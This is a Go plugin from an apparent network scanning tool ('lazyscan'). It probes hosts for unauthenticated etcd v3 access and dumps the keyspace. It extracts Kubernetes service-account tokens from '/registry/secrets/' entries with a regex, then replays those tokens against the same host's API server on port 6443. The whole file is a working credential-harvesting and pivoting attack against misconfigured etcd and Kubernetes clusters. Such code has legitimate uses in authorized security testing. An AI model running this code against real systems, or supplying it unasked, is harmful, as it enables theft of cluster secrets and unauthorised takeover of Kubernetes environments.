/
etcd.go
79 lines (74 loc) · 1.63 KB
/
etcd.go
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package plugins
import (
"errors"
"fmt"
"log"
"regexp"
"strings"
"github.com/404tk/lazyscan/common"
"github.com/404tk/lazyscan/pkg/schema"
)
func EtcdScan(info *common.HostInfo) error {
endpoint := fmt.Sprintf("http://%s:%s", info.Host, info.Port)
v, err := schema.GetVersion(endpoint)
if v == "" {
return err
}
result := fmt.Sprintf("[%s] may be etcd unauth, server version %s", endpoint, v)
log.Println(result)
if !strings.HasPrefix(v, "3.") {
return errors.New("not etcd v3.")
}
if info.Queue != nil {
vuln := common.Vuln{
Host: info.Host,
Port: info.Port,
Unauth: true,
}
info.Queue.Push(vuln)
}
opt := schema.EtcdRequestOption{
Endpoint: endpoint,
Api: "/v3/kv/range",
Method: "POST",
PostData: schema.GenerateQuery("/"),
Silent: true,
}
resp, err := schema.EtcdRequest(opt)
if err != nil {
return err
}
keys, err := schema.GetKeys(resp, opt.Silent)
if err != nil {
return err
}
for k := range keys {
// K8S场景
if strings.HasPrefix(k, "/registry/secrets/") {
opt.PostData = schema.GenerateQuery(k)
resp1, err := schema.EtcdRequest(opt)
if err != nil {
return err
}
kvs, err := schema.GetKeys(resp1, opt.Silent)
if err != nil {
return err
}
for _, v := range kvs {
if strings.Contains(v, "#kubernetes.io/service-account-token") {
token := regexp.MustCompile("eyJh[\\w\\.-]+").FindString(v)
if token != "" {
var tmpinfo common.HostInfo = *info
tmpinfo.Port = "6443"
tmpinfo.Token = token
check, err := KubeAPIServerScan(&tmpinfo)
if check {
return err
}
}
}
}
}
}
return err
}